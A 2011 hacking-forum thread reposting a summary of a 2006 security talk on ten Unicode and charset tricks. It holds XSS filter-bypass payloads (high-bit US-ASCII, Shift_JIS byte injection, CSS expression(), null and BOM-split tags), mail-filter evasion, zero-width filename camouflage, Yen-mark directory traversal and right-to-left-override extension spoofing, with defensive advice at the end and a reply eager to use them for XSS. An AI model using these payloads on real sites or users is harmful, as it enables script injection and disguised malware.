Sinisterly
10 Unicode exploits - Extension spoofing and many more - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: 10 Unicode exploits - Extension spoofing and many more (/Thread-10-Unicode-exploits-Extension-spoofing-and-many-more)

10 Unicode exploits - Extension spoofing and many more - Coder-san - 02-03-2011

[hide]
Originally Posted on Matcha's Security Blog - December 19, 2006


In Dec 9 2006 at Hiroshima 10 TEXT HACK Presentation was presented by Yosuke Hasegawa who is also a Microsoft MVP for Windows-Security.

He Presented these in Security-Momiji(IT Security Workshop in Hiroshima) .

Documents are below(Japanese Only).

?? Unicode ?


TEXT HACKS, useless 10 techniques one after another.


  1. HACK #1 XSS it! (UTF-7)



  2. HACK #2 more XSS it!(US-ASCII)
    • Internet Explorer Disregard first bits in 7bit character set(ex.US-ASCII or ISO-2022-JP...)

      Ex) both 0x73 and 0xF3 are same "s" in IE on using US-ASCII.
      s : 0x73 01110011
      0xF3 11110011
      Both 0x3C and 0xBC are same "<" in IE on using US-ASCII. < : 0x3C 00111100 0xBC 10111100
    • above can bypass META characters detection.

      Ex) ï½¼scr iptï½¾alert(ï½¢XSSï½¢)ï½¼/scriptï½¾

      ï½¼ : 0xBC(7bit) -> 0x3C(first bit on) -> same as <
      ï½¾ : 0xBE(7bit) -> 0x3E(first bit on) -> same as >
      ï½¢ : 0xA2(7bit) -> 0x22(first bit on) -> same as '

      These mean "<sctipt>alert('XSS')</script>" on US-ASCII.


  3. HACK #3 XSS by Japanese(Multi Byte Characters)
    • "first byte" of Shift_jis or EUC-JP Can destroy HTML.

      Use 0x82(first byte of Shift_JIS) to next " (double quote) as force 2nd byte of Shift_JIS to Intenet Blowser.

      Code:
      <input type=text value="(0x82)"><br> <input type=text value=" onmuseover=alert('xss');(0x82)"><br>

      (Source from http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino02.html (Only Japanese))


      Ex1) Yahoo Mail (2005.11)

      Code:
      Content-Type: text/html; charset=GB2312 Subject: example <span style='width:expr/*[0x81]*/*/ession(alert())'> exploited</span>


      Ex2) Hotmail (2006.8)

      Code:
      Content-Type: text/html; charset=SHIFT_JIS Subject: example <font ></font><font face=" onmouseover=alert() s=[0x81]">exploited</font>


  4. HACK #4 More more XSS (Do that with expression!)
    • Internet Explorer can use UNICODE or Double Byte to write "expression( )" or "url()"

      ---

      Ex) Double Byte

      Code:
      <div style="{left:expression(alert('xss'))}"> <div style="{left:expression(alert('xss'))}"> <div style="{background:URL(javascript:alert('xss'))}">


      Ex) Unicode


      You can use Character to write expression or url.

      Code:
      R - U+0280 (€) N - U+0274(t)?U+207F( ) L - U+029F(·)

      Hatena Diary (2005.12)

      Hotmail?Windows Live Mail (2006.11)


      SquirrelMail (2006.12)
  5. HACK #5 more and more XSS (Do that with unvisible charactors)
    • Internet Explorer all Disregard Null Charactor in HTML.

      Code:
      <s(0x00)cript>

    • Internet Explorer 0x0B or 0x0C treated as SPACE in HTML.

      Code:
      <script(0x0B)> <s (0x0C)onmouseover="...">

    • Mozilla FireFox 1.5.0.4 and Prior version disregard BOM (U+FEFF; ZERO WIDTH NO-BREAK SPACE).

      Code:
      <s(BOM)cript>

      • MFSA 2006-42: Web site XSS using BOM on UTF-8 pages


  6. HACK #6 bypass mail contents filter.
    1. Outlook Express is also Disregard first bit of 7bit charactor such US-ASCII or ISO-2022-JP.

      Code:
      MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit This is test mail begin 644 eicar.com ??#5/(5`E0$%06S1&lt;4%i8-30h4%xi-t-#*3=]) $5)0T%2+5-404Y$05)$+4%. 75$E625)54RU415-4+49)3$4A)$@K2"I# ` end uuencode eicar.com(virus test file) and first bit on.

  7. HACK #7 Create same file name(do that with ZERO WIDTH Charactors)
    • by using ZERO WIDTH or Control Charactors a part of file name can make looks like same file name.
      • Invisible Charactors.

        - U+200B ( ZERO WIDTH SPACE )

        - U+200C ( ZERO WIDTH NON-JOINER )

        - U+200D ( ZERO WIDTH JOINER )

        - U+FEFF ( ZERO WIDTH NO-BREAK SPACE )

        - U+202A ( LEFT-TO-RIGHT EMBEDDING )


        [Image: momiji7.png]


  8. HACK #8 Directory Traversal (do that with Yen mark)
    • Unicode has backslash (U+005C) and Yen mark(U+00A5).
    • Yen mark(U+00A5) can use for file name.
    • Yen mark(U+00A5) convert to Shift-JIS and be backslash(0x5C)
      • Therefore, in the application not to treat the file name with Unicode Directory Traversal might be happen.

        Ex) DoS might be generated.if application that recurrently enumerates the file .

        and If the folder like "..\".

        Ex)

        - Namazu 2.0.15 (for Windows) prior

        - Hyper Estraier Version 1.0.2 (for Windows) prior

        - Becky! Ver.2.22 prior

        [Image: momiji8.png]


  9. HACK #9 registry key that doesn't pretend exist but exist(Do that with ZERO WIDTH Charactor)
    • Registry entry can use UNICODE,so you can use ZERO WIDTH Charactors to camouflaged by using ZERO WIDTH Charactors ,same as file name HACK #7.


      [Image: momiji10.jpg]


  10. HACK #10 camouflage the file extension (do that with Bidi)
    • Unicode has "bidirectional algorithm" function.
      show characters to right directional to left directional.
      U+202E(RIGHT-TO-LEFT OVERRIDE; RLO) into file name,file name after RLO,charactors are left side right.
      1. Ex) RLO with file name
        Real file name: this-(U+202E)txt.exe
        File name shown:this-exe.txt
        [Image: momiji9.png]

    • Summary

      1. permitted characters are the MANAGED white list.

      2. Character string is inspection are after regularized.

      3. Don't change after regularized.
      4. Dont cheated by Unicode that looks like.

      5. The behaviour of difference between a Browser and MUA.(if possible)
Originally Posted on Matcha's Security Blog - December 19, 2006

[/hide]
Great stuff. Smile
Just to let people know, the exe-spoofing will not work in (at least) Windows 7, when you have hide known extensions enabled.

RE: 10 Unicode exploits - Extension spoofing and many more - 1234hotmaster - 02-03-2011

wow man i don't know how to thank you! i can use almost all of them in XSS :wub:

RE: 10 Unicode exploits - Extension spoofing and many more - Coder-san - 02-03-2011

Thank the blog. Japanese are really genius. Smile